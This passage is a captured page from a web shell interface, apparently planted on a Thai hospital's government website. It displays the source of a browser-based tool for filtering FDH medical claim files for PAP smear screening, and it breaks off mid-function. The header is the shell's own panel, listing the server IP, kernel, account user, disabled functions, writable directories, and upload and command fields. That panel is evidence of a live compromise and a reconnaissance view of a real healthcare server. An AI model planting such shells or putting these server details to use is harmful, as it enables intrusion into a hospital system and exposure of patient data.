403Webshell
Server IP : 172.67.189.169  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/private_html/FDH2569/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/private_html/FDH2569/PAPscreen69.html
<!doctype html>
<html lang="th">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>คัดกรอง PAPsmear FDH</title>
  <style>
    :root {
      color-scheme: light;
      --bg: #f6f7f9;
      --panel: #ffffff;
      --ink: #162033;
      --muted: #667085;
      --line: #d9dee7;
      --brand: #0f766e;
      --brand-dark: #115e59;
      --accent: #b42318;
      --soft: #e7f5f2;
      --warn: #fff7ed;
      --warn-line: #fed7aa;
      --shadow: 0 16px 45px rgba(22, 32, 51, 0.08);
    }

    * { box-sizing: border-box; }

    body {
      margin: 0;
      min-height: 100vh;
      background: var(--bg);
      color: var(--ink);
      font-family: Tahoma, "Noto Sans Thai", Arial, sans-serif;
      line-height: 1.5;
    }

    button, input, select {
      font: inherit;
    }

    .shell {
      width: min(1180px, calc(100vw - 32px));
      margin: 0 auto;
      padding: 28px 0 40px;
    }

    .topbar {
      display: flex;
      align-items: flex-start;
      justify-content: space-between;
      gap: 20px;
      margin-bottom: 18px;
    }

    h1 {
      margin: 0 0 6px;
      font-size: clamp(24px, 3vw, 34px);
      letter-spacing: 0;
    }

    .lead {
      margin: 0;
      max-width: 790px;
      color: var(--muted);
      font-size: 15px;
    }

    .pill {
      flex: 0 0 auto;
      min-width: 170px;
      border: 1px solid var(--line);
      background: var(--panel);
      border-radius: 999px;
      padding: 9px 14px;
      color: var(--brand-dark);
      font-weight: 700;
      text-align: center;
      box-shadow: var(--shadow);
    }

    .band {
      background: var(--panel);
      border: 1px solid var(--line);
      border-radius: 8px;
      padding: 18px;
      box-shadow: var(--shadow);
      margin-bottom: 16px;
    }

    .upload-row {
      display: grid;
      grid-template-columns: 1.2fr 0.8fr;
      gap: 16px;
      align-items: stretch;
    }

    .dropzone {
      border: 2px dashed #a8b5c7;
      border-radius: 8px;
      padding: 24px;
      background: #fbfcfe;
      display: grid;
      gap: 12px;
      min-height: 170px;
      align-content: center;
    }

    .dropzone.drag {
      border-color: var(--brand);
      background: var(--soft);
    }

    .dropzone strong {
      font-size: 18px;
    }

    .file-actions {
      display: flex;
      flex-wrap: wrap;
      gap: 10px;
    }

    .file-input {
      position: absolute;
      width: 1px;
      height: 1px;
      opacity: 0;
      overflow: hidden;
    }

    .btn, .file-label {
      border: 0;
      border-radius: 6px;
      padding: 10px 14px;
      background: var(--brand);
      color: white;
      font-weight: 700;
      cursor: pointer;
      min-height: 42px;
      display: inline-flex;
      align-items: center;
      justify-content: center;
      gap: 8px;
      text-decoration: none;
    }

    .btn:hover, .file-label:hover {
      background: var(--brand-dark);
    }

    .btn.secondary {
      background: #eef2f6;
      color: var(--ink);
      border: 1px solid var(--line);
    }

    .btn.secondary:hover {
      background: #e3e8ef;
    }

    .btn.danger {
      background: var(--accent);
    }

    .btn:disabled {
      cursor: not-allowed;
      opacity: 0.48;
    }

    .rule-box {
      border: 1px solid var(--line);
      border-radius: 8px;
      padding: 16px;
      background: #fbfcfe;
    }

    .rule-box h2, .section-title {
      margin: 0 0 12px;
      font-size: 16px;
    }

    .rule-grid {
      display: grid;
      gap: 8px;
      color: var(--muted);
      font-size: 14px;
    }

    code {
      background: #eef2f6;
      border: 1px solid #d8dee8;
      border-radius: 5px;
      padding: 1px 5px;
      color: #243247;
      font-family: Consolas, "Courier New", monospace;
      font-size: 0.95em;
    }

    .metrics {
      display: grid;
      grid-template-columns: repeat(4, minmax(0, 1fr));
      gap: 12px;
    }

    .metric {
      border: 1px solid var(--line);
      border-radius: 8px;
      padding: 14px;
      background: #fbfcfe;
      min-height: 94px;
    }

    .metric span {
      display: block;
      color: var(--muted);
      font-size: 13px;
      margin-bottom: 8px;
    }

    .metric strong {
      display: block;
      font-size: clamp(22px, 3vw, 31px);
      line-height: 1.1;
    }

    .metric small {
      color: var(--muted);
      display: block;
      margin-top: 7px;
    }

    .toolbar {
      display: flex;
      justify-content: space-between;
      align-items: center;
      gap: 12px;
      flex-wrap: wrap;
      margin-bottom: 12px;
    }

    .status {
      color: var(--muted);
      font-size: 14px;
    }

    .alert {
      border: 1px solid var(--warn-line);
      background: var(--warn);
      color: #7c2d12;
      border-radius: 8px;
      padding: 12px 14px;
      margin-top: 12px;
      display: none;
    }

    .alert.show {
      display: block;
    }

    .table-wrap {
      overflow: auto;
      border: 1px solid var(--line);
      border-radius: 8px;
      background: white;
      max-height: 390px;
    }

    table {
      width: 100%;
      border-collapse: collapse;
      min-width: 720px;
      font-size: 13px;
    }

    th, td {
      border-bottom: 1px solid #edf0f5;
      padding: 9px 10px;
      text-align: left;
      white-space: nowrap;
    }

    th {
      position: sticky;
      top: 0;
      background: #f8fafc;
      z-index: 1;
      color: #344054;
      font-weight: 700;
    }

    tr:last-child td {
      border-bottom: 0;
    }

    .ok { color: var(--brand-dark); font-weight: 700; }
    .bad { color: var(--accent); font-weight: 700; }
    .muted { color: var(--muted); }

    .footer-note {
      margin: 14px 0 0;
      color: var(--muted);
      font-size: 13px;
    }

    @media (max-width: 860px) {
      .topbar, .upload-row {
        grid-template-columns: 1fr;
        display: grid;
      }

      .pill {
        width: 100%;
      }

      .metrics {
        grid-template-columns: repeat(2, minmax(0, 1fr));
      }
    }

    @media (max-width: 560px) {
      .shell {
        width: min(100vw - 20px, 1180px);
        padding-top: 18px;
      }

      .metrics {
        grid-template-columns: 1fr;
      }

      .dropzone, .band {
        padding: 14px;
      }
    }
  </style>
</head>
<body>
  <main class="shell">
    <header class="topbar">
      <div>
        <h1>คัดกรอง PAPsmear FDH</h1>
        <p class="lead">อัปโหลดชุด 16 แฟ้ม แล้วคัดกรองเคสที่เข้าเงื่อนไข ADP type/code หรือ ODX diagnosis พร้อมรวมจำนวนเคส ยอดเงิน และส่งออกกลับเป็น 16 แฟ้มโครงสร้างเดิม</p>
      </div>
      <div class="pill" id="statusPill">พร้อมใช้งาน</div>
    </header>

    <section class="band">
      <div class="upload-row">
        <div class="dropzone" id="dropzone">
          <strong>อัปโหลด 16 แฟ้ม `.txt`</strong>
          <span class="muted">เลือกหลายไฟล์พร้อมกัน เลือกทั้งโฟลเดอร์ชุด FDH หรืออัปโหลดไฟล์ .zip ได้</span>
          <div class="file-actions">
            <label class="file-label" for="fileInput">เลือกไฟล์</label>
            <input class="file-input" id="fileInput" type="file" multiple accept=".txt,.zip,text/plain,application/zip">
            <label class="file-label" for="folderInput">เลือกโฟลเดอร์</label>
            <input class="file-input" id="folderInput" type="file" multiple webkitdirectory>
            <button class="btn secondary" id="clearButton" type="button">ล้างข้อมูล</button>
          </div>
          <span class="status" id="uploadStatus">ยังไม่ได้อัปโหลดไฟล์</span>
        </div>

        <div class="rule-box">
          <h2>เงื่อนไขคัดกรอง</h2>
          <div class="rule-grid">
            <div>จาก <code>ADP.txt</code>: <code>TYPE = 3</code> และ <code>CODE</code> เป็น <code>1B004</code>, <code>1B004N</code>, <code>1B004P</code></div>
            <div>หรือจาก <code>ODX.txt</code>: <code>DIAG</code> เป็น <code>Z014</code>, <code>Z124</code>, <code>Z392</code></div>
            <div>ยอดเงินหลักรวมจาก <code>CHT.TOTAL</code> ของเคสที่ถูกดึงเข้า</div>
          </div>
        </div>
      </div>
      <div class="alert" id="alertBox"></div>
    </section>

    <section class="band">
      <div class="toolbar">
        <h2 class="section-title">ผลรวม</h2>
        <button class="btn" id="exportButton" type="button" disabled>Export ZIP 16 แฟ้ม</button>
      </div>
      <div class="metrics">
        <div class="metric">
          <span>เคสเข้าเกณฑ์</span>
          <strong id="caseCount">0</strong>
          <small>นับ visit ไม่ซ้ำจาก AN/SEQ</small>
        </div>
        <div class="metric">
          <span>ยอดเงิน CHT.TOTAL</span>
          <strong id="chtTotal">0.00</strong>
          <small>บาท</small>
        </div>
        <div class="metric">
          <span>ยอด ADP ที่ตรงเงื่อนไข</span>
          <strong id="adpTotal">0.00</strong>
          <small>บาท</small>
        </div>
        <div class="metric">
          <span>แถวที่จะ export</span>
          <strong id="rowTotal">0</strong>
          <small>รวมทุกแฟ้ม</small>
        </div>
        <div class="metric">
          <span>ODX มีรหัส แต่ไม่มี ADP ทั้ง 3 code</span>
          <strong id="autofillCount">0</strong>
          <small>เคสที่เติมอัตโนมัติได้</small>
        </div>
      </div>
      <div class="file-actions" style="margin-top: 12px;">
        <button class="btn secondary" id="autofillButton" type="button" disabled>Autofill ADP 3|1B004N</button>
        <span class="status" id="autofillStatus">ยังไม่มีรายการที่ต้องเติม</span>
      </div>
    </section>

    <section class="band">
      <h2 class="section-title">สถานะแฟ้ม</h2>
      <div class="table-wrap">
        <table>
          <thead>
            <tr>
              <th>แฟ้ม</th>
              <th>สถานะ</th>
              <th>แถวต้นฉบับ</th>
              <th>แถวหลังกรอง</th>
              <th>หมายเหตุ</th>
            </tr>
          </thead>
          <tbody id="fileTable"></tbody>
        </table>
      </div>
    </section>

    <section class="band">
      <h2 class="section-title">ผล Autofill ADP</h2>
      <div class="table-wrap">
        <table>
          <thead>
            <tr>
              <th>#</th>
              <th>สถานะ</th>
              <th>HN</th>
              <th>AN</th>
              <th>SEQ</th>
              <th>DATEOPD</th>
              <th>TYPE</th>
              <th>CODE</th>
              <th>QTY</th>
              <th>RATE</th>
              <th>TOTAL</th>
              <th>Field ที่เติม</th>
            </tr>
          </thead>
          <tbody id="autofillTable"></tbody>
        </table>
      </div>
    </section>

    <section class="band">
      <h2 class="section-title">Preview เคสเข้าเกณฑ์</h2>
      <div class="table-wrap">
        <table>
          <thead>
            <tr>
              <th>#</th>
              <th>ชนิด</th>
              <th>HN</th>
              <th>AN</th>
              <th>SEQ</th>
              <th>สาเหตุ</th>
              <th>ยอด CHT</th>
            </tr>
          </thead>
          <tbody id="caseTable"></tbody>
        </table>
      </div>
      <p class="footer-note">หมายเหตุ: เครื่องมือนี้ทำงานใน browser ฝั่งเครื่องผู้ใช้ ไฟล์ไม่ถูกส่งออกไปยัง server</p>
    </section>
  </main>

  <script>
    const EXPECTED_FILES = [
      "ADP", "AER", "CHA", "CHT", "DRU", "IDX", "INS", "IOP",
      "IPD", "IRF", "LVD", "ODX", "OOP", "OPD", "ORF", "PAT"
    ];
    const ADP_CODES = new Set(["1B004", "1B004N", "1B004P"]);
    const ODX_DIAGS = new Set(["Z014", "Z124", "Z392"]);
    const FIELD_NAMES = ["HN", "AN", "SEQ", "PERSON_ID", "TYPE", "CODE", "DIAG", "TOTAL", "AMOUNT", "SERVPRICE", "DATE", "DATEDX", "DATEOPD", "DATEADM"];
    const asciiDecoder = new TextDecoder("iso-8859-1");

    const state = {
      tables: new Map(),
      result: null,
      autofillEnabled: false
    };

    const el = {
      dropzone: document.querySelector("#dropzone"),
      fileInput: document.querySelector("#fileInput"),
      folderInput: document.querySelector("#folderInput"),
      clearButton: document.querySelector("#clearButton"),
      autofillButton: document.querySelector("#autofillButton"),
      exportButton: document.querySelector("#exportButton"),
      uploadStatus: document.querySelector("#uploadStatus"),
      statusPill: document.querySelector("#statusPill"),
      alertBox: document.querySelector("#alertBox"),
      caseCount: document.querySelector("#caseCount"),
      chtTotal: document.querySelector("#chtTotal"),
      adpTotal: document.querySelector("#adpTotal"),
      rowTotal: document.querySelector("#rowTotal"),
      autofillCount: document.querySelector("#autofillCount"),
      autofillStatus: document.querySelector("#autofillStatus"),
      fileTable: document.querySelector("#fileTable"),
      autofillTable: document.querySelector("#autofillTable"),
      caseTable: document.querySelector("#caseTable")
    };

    function baseName(file) {
      const raw = file.webkitRelativePath || file.name;
      const name = raw.split(/[\\/]/).pop() || raw;
      return name.replace(/\.[^.]+$/, "").toUpperCase();
    }

    function decodeLine(bytes) {
      return asciiDecoder.decode(bytes);
    }

    function splitLines(bytes) {
      const lines = [];
      let start = 0;
      let newline = new Uint8Array([13, 10]);
      for (let i = 0; i < bytes.length; i += 1) {
        if (bytes[i] !== 10) continue;
        let end = i;
        if (end > start && bytes[end - 1] === 13) end -= 1;
        lines.push(bytes.slice(start, end));
        start = i + 1;
      }
      if (start < bytes.length) lines.push(bytes.slice(start));
      if (!bytes.includes(13)) newline = new Uint8Array([10]);
      if (lines.length === 0) lines.push(new Uint8Array());
      return { lines, newline };
    }

    function selectedValues(line, indexes) {
      const values = {};
      if (!indexes.size) return values;
      const text = decodeLine(line);
      const parts = text.split("|");
      for (const [field, index] of indexes) values[field] = (parts[index] || "").trim();
      return values;
    }

    async function parseFile(file) {
      const name = file.baseName || baseName(file);
      const bytes = file.bytes || new Uint8Array(await file.arrayBuffer());
      const { lines, newline } = splitLines(bytes);
      const headers = decodeLine(lines[0] || new Uint8Array()).replace(/^\uFEFF/, "").split("|");
      const index = new Map(headers.map((h, i) => [h.trim().toUpperCase(), i]));
      const wantedIndexes = new Map();
      for (const field of FIELD_NAMES) {
        if (index.has(field)) wantedIndexes.set(field, index.get(field));
      }
      const rows = [];
      for (let i = 1; i < lines.length; i += 1) {
        if (lines[i].length === 0) continue;
        rows.push({
          line: lines[i],
          rowNumber: i + 1,
          values: selectedValues(lines[i], wantedIndexes)
        });
      }
      return {
        name,
        originalName: file.entryName || `${name}.txt`,
        bytes,
        newline,
        headerLine: lines[0] || new Uint8Array(),
        headers,
        index,
        rows,
        filteredRows: [],
        note: ""
      };
    }

    async function collectTextFiles(files) {
      const output = [];
      const warnings = [];
      for (const file of Array.from(files || [])) {
        if (/\.txt$/i.test(file.name)) {
          output.push(file);
          continue;
        }
        if (/\.zip$/i.test(file.name)) {
          try {
            const entries = await readZipTextEntries(file);
            output.push(...entries);
          } catch (error) {
            warnings.push(`${file.name}: ${error.message}`);
          }
        }
      }
      return { output, warnings };
    }

    async function loadFiles(files) {
      setBusy(true, "กำลังอ่านไฟล์...");
      clearAlert();
      const sourceCount = Array.from(files || []).length;
      const { output: list, warnings } = await collectTextFiles(files);
      if (!list.length) {
        setBusy(false, "พร้อมใช้งาน");
        const detail = warnings.length ? ` (${warnings.join("; ")})` : "";
        showAlert(`ไม่พบไฟล์ .txt หรืออ่าน .zip ไม่ได้ กรุณาเลือกชุด 16 แฟ้ม${detail}`);
        return;
      }

      const parsed = await Promise.all(list.map(parseFile));
      state.tables = new Map();
      state.autofillEnabled = false;
      for (const table of parsed) {
        if (!EXPECTED_FILES.includes(table.name)) continue;
        state.tables.set(table.name, table);
      }

      analyze();
      setBusy(false, "วิเคราะห์แล้ว");
      el.uploadStatus.textContent = `อ่านจากรายการอัปโหลด ${sourceCount.toLocaleString("th-TH")} รายการ, พบ .txt ${list.length.toLocaleString("th-TH")} ไฟล์, ใช้ในชุด 16 แฟ้ม ${state.tables.size.toLocaleString("th-TH")} ไฟล์`;
      if (warnings.length) showAlert(`บางไฟล์ zip อ่านไม่ได้: ${warnings.join("; ")}`);
    }

    function visitKey(row) {
      const an = clean(row.AN);
      const seq = clean(row.SEQ);
      if (an) return `AN:${an}`;
      if (seq) return `SEQ:${seq}`;
      return "";
    }

    function clean(value) {
      return String(value || "").trim();
    }

    function normalizeType(value) {
      const text = clean(value);
      const numeric = Number(text);
      return Number.isFinite(numeric) ? String(numeric) : text;
    }

    function normalizeCode(value) {
      return clean(value).toUpperCase();
    }

    function normalizeDiag(value) {
      return clean(value).toUpperCase().replace(/\./g, "");
    }

    function toCents(value) {
      const text = clean(value).replace(/,/g, "");
      if (!text) return 0;
      const negative = text.startsWith("-");
      const normalized = negative ? text.slice(1) : text;
      const [whole, fraction = ""] = normalized.split(".");
      const cents = (parseInt(whole || "0", 10) * 100) + parseInt((fraction + "00").slice(0, 2), 10);
      return Number.isFinite(cents) ? (negative ? -cents : cents) : 0;
    }

    function addReason(caseMap, key, row, reason) {
      if (!key) return;
      const found = caseMap.get(key) || {
        key,
        type: key.startsWith("AN:") ? "IPD" : "OPD",
        hn: clean(row.HN),
        an: clean(row.AN),
        seq: clean(row.SEQ),
        date: firstValue(row.DATEDX, row.DATEOPD, row.DATE, row.DATEADM),
        personIds: new Set(),
        reasons: new Set(),
        chtCents: 0
      };
      if (clean(row.HN)) found.hn = clean(row.HN);
      if (clean(row.AN)) found.an = clean(row.AN);
      if (clean(row.SEQ)) found.seq = clean(row.SEQ);
      if (firstValue(row.DATEDX, row.DATEOPD, row.DATE, row.DATEADM)) found.date = firstValue(row.DATEDX, row.DATEOPD, row.DATE, row.DATEADM);
      if (clean(row.PERSON_ID)) found.personIds.add(clean(row.PERSON_ID));
      found.reasons.add(reason);
      caseMap.set(key, found);
    }

    function firstValue(...values) {
      for (const value of values) {
        const text = clean(value);
        if (text) return text;
      }
      return "";
    }

    function analyze() {
      const caseMap = new Map();
      const matchedKeys = new Set();
      const matchedHn = new Set();
      const matchedAn = new Set();
      const matchedSeq = new Set();
      const matchedPerson = new Set();
      const adpQualifyingKeys = new Set();
      const odxCaseKeys = new Set();
      let adpCents = 0;

      const adp = state.tables.get("ADP");
      if (adp) {
        for (const row of adp.rows) {
          const type = normalizeType(row.values.TYPE);
          const code = normalizeCode(row.values.CODE);
          const key = visitKey(row.values);
          if (type === "3" && ADP_CODES.has(code)) {
            if (key) adpQualifyingKeys.add(key);
            addReason(caseMap, key, row.values, `ADP ${type}|${code}`);
            matchedKeys.add(key);
            adpCents += toCents(row.values.TOTAL);
          }
        }
      }

      const odx = state.tables.get("ODX");
      if (odx) {
        for (const row of odx.rows) {
          const diag = normalizeDiag(row.values.DIAG);
          if (ODX_DIAGS.has(diag)) {
            const key = visitKey(row.values);
            addReason(caseMap, key, row.values, `ODX ${diag}`);
            matchedKeys.add(key);
            if (key) odxCaseKeys.add(key);
          }
        }
      }

      const cht = state.tables.get("CHT");
      if (cht) {
        for (const row of cht.rows) {
          const key = visitKey(row.values);
          if (!caseMap.has(key)) continue;
          const item = caseMap.get(key);
          item.chtCents += toCents(row.values.TOTAL);
          if (clean(row.values.HN)) item.hn = clean(row.values.HN);
          if (clean(row.values.AN)) item.an = clean(row.values.AN);
          if (clean(row.values.SEQ)) item.seq = clean(row.values.SEQ);
          if (clean(row.values.DATE)) item.date = clean(row.values.DATE);
          if (clean(row.values.PERSON_ID)) item.personIds.add(clean(row.values.PERSON_ID));
        }
      }

      enrichCasesFromTable(caseMap, "OPD", ["DATEOPD"]);
      enrichCasesFromTable(caseMap, "IPD", ["DATEADM"]);
      enrichCasesFromTable(caseMap, "INS", []);

      for (const item of caseMap.values()) {
        if (item.hn) matchedHn.add(item.hn);
        if (item.an) matchedAn.add(item.an);
        if (item.seq) matchedSeq.add(item.seq);
        for (const personId of item.personIds) matchedPerson.add(personId);
      }

      for (const table of state.tables.values()) {
        table.filteredRows = table.rows.filter(row => includeRow(table.name, row.values, matchedKeys, matchedHn, matchedAn, matchedSeq, matchedPerson));
      }

      const cases = Array.from(caseMap.values()).sort((a, b) => a.key.localeCompare(b.key));
      const autofillCases = Array.from(odxCaseKeys)
        .filter(key => !adpQualifyingKeys.has(key) && caseMap.has(key))
        .map(key => caseMap.get(key))
        .sort((a, b) => a.key.localeCompare(b.key));
      const autofillRows = autofillCases.map(item => makeAutofillAdpRow(item)).filter(Boolean);
      const chtCents = cases.reduce((sum, item) => sum + item.chtCents, 0);
      const baseRowTotal = Array.from(state.tables.values()).reduce((sum, table) => sum + table.filteredRows.length, 0);
      const rowTotal = baseRowTotal + (state.autofillEnabled ? autofillRows.length : 0);
      const missing = EXPECTED_FILES.filter(name => !state.tables.has(name));

      state.result = {
        cases,
        autofillCases,
        autofillRows,
        adpCents,
        chtCents,
        rowTotal,
        missing
      };

      render();
    }

    function includeRow(fileName, row, matchedKeys, matchedHn, matchedAn, matchedSeq, matchedPerson) {
      if (!matchedKeys.size) return false;
      const key = visitKey(row);
      if (key && matchedKeys.has(key)) return true;
      const hn = clean(row.HN);
      const an = clean(row.AN);
      const seq = clean(row.SEQ);
      const personId = clean(row.PERSON_ID);

      if (an && matchedAn.has(an)) return true;
      if (seq && matchedSeq.has(seq)) return true;

      if (fileName === "PAT") {
        return (hn && matchedHn.has(hn)) || (personId && matchedPerson.has(personId));
      }

      if (fileName === "INS") {
        return (hn && matchedHn.has(hn)) || (personId && matchedPerson.has(personId));
      }

      return false;
    }

    function enrichCasesFromTable(caseMap, fileName, dateFields) {
      const table = state.tables.get(fileName);
      if (!table) return;
      for (const row of table.rows) {
        const key = visitKey(row.values);
        if (!caseMap.has(key)) continue;
        const item = caseMap.get(key);
        if (clean(row.values.HN)) item.hn = clean(row.values.HN);
        if (clean(row.values.AN)) item.an = clean(row.values.AN);
        if (clean(row.values.SEQ)) item.seq = clean(row.values.SEQ);
        if (clean(row.values.PERSON_ID)) item.personIds.add(clean(row.values.PERSON_ID));
        for (const field of dateFields) {
          if (clean(row.values[field])) {
            item.date = clean(row.values[field]);
            break;
          }
        }
      }
    }

    function makeAutofillAdpRow(item) {
      const adp = state.tables.get("ADP");
      if (!adp) return null;
      const values = new Array(adp.headers.length).fill("");
      const set = (field, value) => {
        const index = adp.index.get(field);
        if (index !== undefined) values[index] = value;
      };

      set("HN", item.hn || "");
      set("AN", item.an || "");
      set("DATEOPD", item.date || "");
      set("TYPE", "3");
      set("CODE", "1B004N");
      set("QTY", "1");
      set("RATE", "0.00");
      set("SEQ", item.seq || "");
      set("TOTCOPAY", "0.00");
      set("TOTAL", "0.00");

      return {
        generated: true,
        line: new TextEncoder().encode(values.join("|")),
        rowNumber: 0,
        values: {
          HN: item.hn || "",
          AN: item.an || "",
          DATEOPD: item.date || "",
          TYPE: "3",
          CODE: "1B004N",
          QTY: "1",
          RATE: "0.00",
          SEQ: item.seq || "",
          TOTCOPAY: "0.00",
          TOTAL: "0.00"
        }
      };
    }

    function render() {
      const result = state.result || { cases: [], autofillCases: [], autofillRows: [], adpCents: 0, chtCents: 0, rowTotal: 0, missing: EXPECTED_FILES };
      el.caseCount.textContent = result.cases.length.toLocaleString("th-TH");
      el.chtTotal.textContent = formatMoney(result.chtCents);
      el.adpTotal.textContent = formatMoney(result.adpCents);
      el.rowTotal.textContent = result.rowTotal.toLocaleString("th-TH");
      el.autofillCount.textContent = result.autofillCases.length.toLocaleString("th-TH");
      el.exportButton.disabled = !result.cases.length;
      el.autofillButton.disabled = !result.autofillCases.length || state.autofillEnabled || !state.tables.has("ADP");
      el.autofillStatus.textContent = state.autofillEnabled
        ? `สำเร็จ: เติม ADP 3|1B004N แล้ว ${result.autofillRows.length.toLocaleString("th-TH")} แถว รอ export`
        : (result.autofillCases.length ? `พบ ${result.autofillCases.length.toLocaleString("th-TH")} เคสที่กดเติมได้` : "ยังไม่มีรายการที่ต้องเติม");

      el.fileTable.innerHTML = EXPECTED_FILES.map(name => {
        const table = state.tables.get(name);
        if (!table) {
          return `<tr><td>${name}.txt</td><td class="bad">ไม่พบ</td><td>0</td><td>0</td><td>จะ export เป็นแฟ้ม header ว่างไม่ได้ กรุณาอัปโหลดให้ครบ</td></tr>`;
        }
        const extraRows = name === "ADP" && state.autofillEnabled ? result.autofillRows.length : 0;
        const filteredCount = table.filteredRows.length + extraRows;
        const note = extraRows
          ? `พร้อม export, Autofill เพิ่ม ${extraRows.toLocaleString("th-TH")} แถว`
          : (table.filteredRows.length ? "พร้อม export" : "ไม่มีแถวเข้าเงื่อนไข");
        return `<tr><td>${name}.txt</td><td class="ok">พบ</td><td>${table.rows.length.toLocaleString("th-TH")}</td><td>${filteredCount.toLocaleString("th-TH")}</td><td>${note}</td></tr>`;
      }).join("");

      renderAutofillTable(result);

      const preview = result.cases.slice(0, 200);
      el.caseTable.innerHTML = preview.length ? preview.map((item, index) => {
        return `<tr>
          <td>${(index + 1).toLocaleString("th-TH")}</td>
          <td>${escapeHtml(item.type)}</td>
          <td>${escapeHtml(item.hn)}</td>
          <td>${escapeHtml(item.an)}</td>
          <td>${escapeHtml(item.seq)}</td>
          <td>${escapeHtml(Array.from(item.reasons).join(", "))}</td>
          <td>${formatMoney(item.chtCents)}</td>
        </tr>`;
      }).join("") : `<tr><td colspan="7" class="muted">ยังไม่มีเคสเข้าเงื่อนไข</td></tr>`;

      if (result.cases.length > preview.length) {
        el.caseTable.insertAdjacentHTML("beforeend", `<tr><td colspan="7" class="muted">แสดง 200 เคสแรกจากทั้งหมด ${result.cases.length.toLocaleString("th-TH")} เคส</td></tr>`);
      }

      if (result.missing.length && state.tables.size) {
        showAlert(`ยังขาดแฟ้ม: ${result.missing.map(name => `${name}.txt`).join(", ")} กรุณาอัปโหลดให้ครบก่อนส่ง FDH จริง`);
      } else {
        clearAlert();
      }
    }

    function renderAutofillTable(result) {
      const rows = result.autofillRows || [];
      if (!rows.length) {
        el.autofillTable.innerHTML = `<tr><td colspan="12" class="muted">ยังไม่มีเคส ODX ที่ต้องเติม ADP 3|1B004N</td></tr>`;
        return;
      }

      const preview = rows.slice(0, 200);
      el.autofillTable.innerHTML = preview.map((row, index) => {
        const v = row.values || {};
        const status = state.autofillEnabled ? "สำเร็จ" : "รอเติม";
        const statusClass = state.autofillEnabled ? "ok" : "muted";
        const fields = [
          `HN=${v.HN || ""}`,
          `AN=${v.AN || ""}`,
          `DATEOPD=${v.DATEOPD || ""}`,
          `TYPE=${v.TYPE || ""}`,
          `CODE=${v.CODE || ""}`,
          `QTY=${v.QTY || ""}`,
          `RATE=${v.RATE || ""}`,
          `SEQ=${v.SEQ || ""}`,
          `TOTCOPAY=${v.TOTCOPAY || ""}`,
          `TOTAL=${v.TOTAL || ""}`
        ].join(" | ");
        return `<tr>
          <td>${(index + 1).toLocaleString("th-TH")}</td>
          <td class="${statusClass}">${status}</td>
          <td>${escapeHtml(v.HN)}</td>
          <td>${escapeHtml(v.AN)}</td>
          <td>${escapeHtml(v.SEQ)}</td>
          <td>${escapeHtml(v.DATEOPD)}</td>
          <td>${escapeHtml(v.TYPE)}</td>
          <td>${escapeHtml(v.CODE)}</td>
          <td>${escapeHtml(v.QTY)}</td>
          <td>${escapeHtml(v.RATE)}</td>
          <td>${escapeHtml(v.TOTAL)}</td>
          <td>${escapeHtml(fields)}</td>
        </tr>`;
      }).join("");

      if (rows.length > preview.length) {
        el.autofillTable.insertAdjacentHTML("beforeend", `<tr><td colspan="12" class="muted">แสดง 200 รายการแรกจากทั้งหมด ${rows.length.toLocaleString("th-TH")} รายการ</td></tr>`);
      }
    }

    function formatMoney(cents) {
      return (cents / 100).toLocaleString("th-TH", {
        minimumFractionDigits: 2,
        maximumFractionDigits: 2
      });
    }

    function escapeHtml(value) {
      return String(value || "")
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#39;");
    }

    function setBusy(busy, message) {
      el.statusPill.textContent = message;
      el.exportButton.disabled = busy || !(state.result && state.result.cases.length);
    }

    function showAlert(message) {
      el.alertBox.textContent = message;
      el.alertBox.classList.add("show");
    }

    function clearAlert() {
      el.alertBox.textContent = "";
      el.alertBox.classList.remove("show");
    }

    function clearAll() {
      state.tables = new Map();
      state.result = null;
      state.autofillEnabled = false;
      el.fileInput.value = "";
      el.folderInput.value = "";
      el.uploadStatus.textContent = "ยังไม่ได้อัปโหลดไฟล์";
      el.statusPill.textContent = "พร้อมใช้งาน";
      clearAlert();
      render();
    }

    function buildOutputBytes(table) {
      const parts = [table.headerLine];
      for (const row of table.filteredRows) parts.push(row.line);
      if (table.name === "ADP" && state.autofillEnabled && state.result) {
        for (const row of state.result.autofillRows) parts.push(row.line);
      }
      return joinBytes(parts, table.newline);
    }

    function joinBytes(lines, newline) {
      const total = lines.reduce((sum, line) => sum + line.length, 0) + (newline.length * lines.length);
      const out = new Uint8Array(total);
      let offset = 0;
      for (const line of lines) {
        out.set(line, offset);
        offset += line.length;
        out.set(newline, offset);
        offset += newline.length;
      }
      return out;
    }

    async function exportZip() {
      if (!state.result || !state.result.cases.length) return;
      const files = [];
      for (const name of EXPECTED_FILES) {
        const table = state.tables.get(name);
        if (!table) continue;
        files.push({ name: `${name}.txt`, data: buildOutputBytes(table) });
      }
      const zip = makeZip(files);
      const stamp = new Date().toISOString().replace(/[-:T]/g, "").slice(0, 14);
      downloadBlob(zip, `FDH_ADP_ODX_FILTER_${stamp}.zip`, "application/zip");
    }

    function applyAutofill() {
      if (!state.result || !state.result.autofillRows.length || state.autofillEnabled) return;
      state.autofillEnabled = true;
      analyze();
    }

    function downloadBlob(bytes, filename, type) {
      const blob = new Blob([bytes], { type });
      const url = URL.createObjectURL(blob);
      const a = document.createElement("a");
      a.href = url;
      a.download = filename;
      document.body.appendChild(a);
      a.click();
      a.remove();
      setTimeout(() => URL.revokeObjectURL(url), 1000);
    }

    function readU16(bytes, offset) {
      return bytes[offset] | (bytes[offset + 1] << 8);
    }

    function readU32(bytes, offset) {
      return (bytes[offset] | (bytes[offset + 1] << 8) | (bytes[offset + 2] << 16) | (bytes[offset + 3] << 24)) >>> 0;
    }

    function findEndOfCentralDirectory(bytes) {
      const min = Math.max(0, bytes.length - 0xffff - 22);
      for (let i = bytes.length - 22; i >= min; i -= 1) {
